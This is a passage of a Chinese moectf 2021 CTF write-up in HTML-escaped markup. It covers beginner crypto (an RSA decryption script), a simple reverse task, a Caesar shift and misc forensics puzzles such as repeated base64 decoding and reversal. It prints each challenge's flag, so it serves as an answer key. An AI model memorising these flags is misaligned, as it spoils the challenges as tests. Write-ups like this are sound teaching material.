WriteUp\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e没想到摸鱼摸到第9了(感谢Hidden了的师傅们(逃\u003c/del\u003e\u003c/p\u003e\u003cp\u003e挺菜的边做边学。\u003c/p\u003e\u003cp\u003e这次主要做了做 \u003ccode\u003eMisc\u003c/code\u003e 和 \u003ccode\u003eWeb\u003c/code\u003e ,其他的就看了看前面几个开了开视野(\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e题目全部在 \u003ccode\u003eWindows 7\u003c/code\u003e 环境下做出\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"目录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"目录\"\u003e\u003c/a\u003e目录\u003c/h2\u003e\u003ch3 id=\"Crypto(4-x2F-14)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Crypto%EF%BC%884-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Crypto(4/14)\"\u003e\u003c/a\u003eCrypto(4/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eCryptography入门指北(略)\u003c/li\u003e\u003cli\u003ebeginOfCrypto\u003c/li\u003e\u003cli\u003eBabyMultiple\u003c/li\u003e\u003cli\u003eLazyRSA\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Reverse(2-x2F-14)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Reverse%EF%BC%882-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Reverse(2/14)\"\u003e\u003c/a\u003eReverse(2/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003e逆向工程入门指北(略)\u003c/li\u003e\u003cli\u003ewelcome_to_the_world_of_re\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Classical-Cryptography(1-x2F-6)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Classical-Cryptography%EF%BC%881-x2F-6%EF%BC%89\" class=\"headerlink\" title=\"Classical Cryptography(1/6)\"\u003e\u003c/a\u003eClassical Cryptography(1/6)\u003c/h3\u003e\u003col\u003e\u003cli\u003eAugustine’s Way\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Bonus-0-x2F-1\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Bonus-0-x2F-1\" class=\"headerlink\" title=\"Bonus(0/1)\"\u003e\u003c/a\u003eBonus(0/1)\u003c/h3\u003e\u003ch3 id=\"MISC-12-x2F-12)之前是13个来着\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#MISC-12-x2F-12%EF%BC%89%E4%B9%8B%E5%89%8D%E6%98%AF13%E4%B8%AA%E6%9D%A5%E7%9D%80\" class=\"headerlink\" title=\"MISC(12/12)之前是13个来着\"\u003e\u003c/a\u003eMISC(12/12)\u003cdel\u003e之前是13个来着\u003c/del\u003e\u003c/h3\u003e\u003col\u003e\u003cli\u003eMisc入门指北(略)\u003c/li\u003e\u003cli\u003efind_me\u003c/li\u003e\u003cli\u003eMacross\u003c/li\u003e\u003cli\u003eHomework\u003c/li\u003e\u003cli\u003eflipflipflip\u003c/li\u003e\u003cli\u003eWhite Album\u003c/li\u003e\u003cli\u003ePhone Call\u003c/li\u003e\u003cli\u003e社工题\u003c/li\u003e\u003cli\u003e好 康 的\u003c/li\u003e\u003cli\u003eeasyForensics\u003c/li\u003e\u003cli\u003eR P G\u003c/li\u003e\u003cli\u003e诺亚的日记\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Pwn(3-x2F-11)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Pwn%EF%BC%883-x2F-11%EF%BC%89\" class=\"headerlink\" title=\"Pwn(3/11)\"\u003e\u003c/a\u003ePwn(3/11)\u003c/h3\u003e\u003col\u003e\u003cli\u003ePwn入门指北(略)\u003c/li\u003e\u003cli\u003etest_your_nc\u003c/li\u003e\u003cli\u003eInt_overflow\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Web(9-x2F-14)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Web%EF%BC%889-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Web(9/14)\"\u003e\u003c/a\u003eWeb(9/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eWeb入门指北(略)\u003c/li\u003e\u003cli\u003eWeb安全入门指北—GET\u003c/li\u003e\u003cli\u003eWeb安全入门指北—小饼干\u003c/li\u003e\u003cli\u003e2048\u003c/li\u003e\u003cli\u003eWeb_Inc\u003c/li\u003e\u003cli\u003eezinclude\u003c/li\u003e\u003cli\u003ebabeRCE\u003c/li\u003e\u003cli\u003eDo you know HTTP?\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"问卷题-1-x2F-2\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#%E9%97%AE%E5%8D%B7%E9%A2%98-1-x2F-2\" class=\"headerlink\" title=\"问卷题(1/2)\"\u003e\u003c/a\u003e问卷题(1/2)\u003c/h3\u003e\u003col\u003e\u003cli\u003e信息统计(略)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Crypto\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Crypto\" class=\"headerlink\" title=\"Crypto\"\u003e\u003c/a\u003eCrypto\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003ePython 真是绝绝子!\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"02-beginOfCrypto\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-beginOfCrypto\" class=\"headerlink\" title=\"02 beginOfCrypto\"\u003e\u003c/a\u003e02 beginOfCrypto\u003c/h3\u003e\u003cp\u003e打开下载的文件发现下面有申必的数字,然后再看上面有 \u003ccode\u003eflag = xxx\u003c/code\u003e , 再看一眼代码,应该是把字符通过申必的方法转换成申必的数字,然后先赋值 \u003ccode\u003eflag = \u0026#34;moectf\u0026#34;\u003c/code\u003e 发现和前面几个数字对上了,然后用只能人工方法将26个字母和几个符号带进去都看了一遍值,找到了flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{c0me_on!begin_your_Crypt0_c4r33r}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-BabyMultiple\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-BabyMultiple\" class=\"headerlink\" title=\"03 BabyMultiple\"\u003e\u003c/a\u003e03 BabyMultiple\u003c/h3\u003e\u003cp\u003e和上一题一样,带进去不同字符经过处理变成其他申必字符,然后利用智能人工全部带了一遍,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0u_4r3_gr34t_47_Mu17ic4ti0n}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 04 LazyRSA\u003cp\u003e去网上大概查了一下原理,然后对着教程里的代码改了一下\u003c/p\u003e\u003cp\u003e读的博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/hiwuchong/p/9069392.html\"\u003ehttps://www.cnblogs.com/hiwuchong/p/9069392.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/carroll_/article/details/79975226\"\u003ehttps://blog.csdn.net/carroll_/article/details/79975226\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Ahuuua/article/details/108830834\"\u003ehttps://blog.csdn.net/Ahuuua/article/details/108830834\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_41818069/article/details/106532665\"\u003ehttps://blog.csdn.net/weixin_41818069/article/details/106532665\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Higgerw/p/14289041.html\"\u003ehttps://www.cnblogs.com/Higgerw/p/14289041.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\"\u003ehttp://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_41429081/article/details/103403957\"\u003ehttps://blog.csdn.net/qq_41429081/article/details/103403957\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/tinyzhao/article/details/52681634\"\u003ehttps://blog.csdn.net/tinyzhao/article/details/52681634\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e Crypto\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eUtil\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003enumber \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e gmpy2\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e binasciip \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的p\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ec \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的c\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e n \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e p\u003cspan class=\"token operator\"\u003e*\u003c/span\u003eqe \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10001\u003c/span\u003ed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e gmpy2\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einvert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ee\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ep\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003em \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003epow\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ec\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ed\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003en\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# c = pow(m,e,n)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebinascii\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eunhexlify\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003estrip\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;L\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{w0w_yOU_Know_h0w_70_d3crypt_th3_RSA}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Reverse\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Reverse\" class=\"headerlink\" title=\"Reverse\"\u003e\u003c/a\u003eReverse\u003c/h2\u003e\u003ch3 id=\"02-welcome-to-the-world-of-re\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-welcome-to-the-world-of-re\" class=\"headerlink\" title=\"02 welcome_to_the_world_of_re\"\u003e\u003c/a\u003e02 welcome_to_the_world_of_re\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e之前找简单软件注册码的法子\u003c/del\u003e\u003c/p\u003e\u003cp\u003e直接拖进 \u003ccode\u003eOD\u003c/code\u003e 能找到,拖进文本也行(\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/RwJMH68qB2hKjIE.png\" alt=\"re1.PNG\" style=\"zoom:80%;\"/\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZL6sevtD1lGIrzk.png\" alt=\"re2\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{W31C0Me_t0_m03CTF_2021_w0o0o0oooo0ooooo0o0oooo0!!!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Classical-Cryptography\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Classical-Cryptography\" class=\"headerlink\" title=\"Classical Cryptography\"\u003e\u003c/a\u003eClassical Cryptography\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e看的时候离结束还有半天了,就看了第一个\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"01-Classical-Cryptography\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#01-Classical-Cryptography\" class=\"headerlink\" title=\"01 Classical Cryptography\"\u003e\u003c/a\u003e01 Classical Cryptography\u003c/h3\u003e\u003cp\u003e前几个和 \u003ccode\u003emoectf\u003c/code\u003e 对比了一下发现是每个字母后移了一位\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{e3sy_Au9u1ne!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Misc\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Misc\" class=\"headerlink\" title=\"Misc\"\u003e\u003c/a\u003eMisc\u003c/h2\u003e\u003ch3 id=\"02-find-me\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-find-me\" class=\"headerlink\" title=\"02 find_me\"\u003e\u003c/a\u003e02 find_me\u003c/h3\u003e\u003cp\u003e拖进 \u003ccode\u003e010 Editor\u003c/code\u003e\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{hs_g1v3_u_fl@g}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Macross\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-Macross\" class=\"headerlink\" title=\"03 Macross\"\u003e\u003c/a\u003e03 Macross\u003c/h3\u003e\u003cp\u003e百度搜了半天不晓得这是啥,然后上 Google 搜出来是个记录鼠标移动的软件\u003cdel\u003e(Google真是绝绝子)\u003c/del\u003e,下载安装,然后打开 Windows 图画,运行文件,得到名画\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/BNxQez71C68ObY9.png\" alt=\"Mar\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Rec0rder_15_Funny}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Homework\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#04-Homework\" class=\"headerlink\" title=\"04 Homework\"\u003e\u003c/a\u003e04 Homework\u003c/h3\u003e\u003cp\u003e先看了一遍啥也没找到,然后先全选清除格式发现半个flag,然后用 \u003ccode\u003e7-zip\u003c/code\u003e 解压出来直接看 \u003ccode\u003exml\u003c/code\u003e 里东西了,搜 \u003ccode\u003e}\u003c/code\u003e,找到后一半,当然在 Word 里搜 \u003ccode\u003e{\u003c/code\u003e 发现是个文本框,拿到后半段flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{0h_U_f1nd_m3!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-flipflipflip\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#05-flipflipflip\" class=\"headerlink\" title=\"05 flipflipflip\"\u003e\u003c/a\u003e05 flipflipflip\u003c/h3\u003e\u003cp\u003e这个题可太折磨人了……\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/1go0/p/9977359.html\"\u003ehttps://www.cnblogs.com/1go0/p/9977359.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/mq0036/p/6544055.html\"\u003ehttps://www.cnblogs.com/mq0036/p/6544055.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\"\u003ehttps://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.it1352.com/904413.html\"\u003ehttps://www.it1352.com/904413.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnpython.com/qa/153478\"\u003ehttps://www.cnpython.com/qa/153478\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/h-zhang/p/10568028.html\"\u003ehttps://www.cnblogs.com/h-zhang/p/10568028.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/zuferj115/p/11547486.html\"\u003ehttps://www.cnblogs.com/zuferj115/p/11547486.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u010065754/article/details/81710160\"\u003ehttps://blog.csdn.net/u010065754/article/details/81710160\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/erchun/p/11766408.html\"\u003ehttps://www.cnblogs.com/erchun/p/11766408.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\"\u003ehttps://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_43742794/article/details/104210963\"\u003ehttps://blog.csdn.net/weixin_43742794/article/details/104210963\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/qsmyjz/p/11987815.html\"\u003ehttps://www.cnblogs.com/qsmyjz/p/11987815.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我超,100多MB的字符串,刚开始没头绪最后xjb猜是base64,那么大文件得整个脚本,然后网上搜\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users(后面文件路径省略了)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;==\u0026#34;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\Users(后面文件路径省略了)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase64\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eb64decode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e第一遍看着解出来好东西了,然后第二遍解出来不知道一堆啥东西……然后又不会整了。\u003c/p\u003e\u003cp\u003e突然发现第一遍解出来的东西开头是 \u003ccode\u003e==\u003c/code\u003e ,再想想题目名字……base64倒过来了属于是,然后整了个反转的脚本\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后就这么xjb整……遇见解出来不对劲的就反转……然后通过智能人工整了70多次。。。从100多MB整到1KB……得到flag\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/3NzvcCOM6ZYuqRW.png\" alt=\"filp\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{fffffflipppppp}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-White-Album\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#06-White-Album\" class=\"headerlink\" title=\"06 White Album\"\u003e\u003c/a\u003e06 White 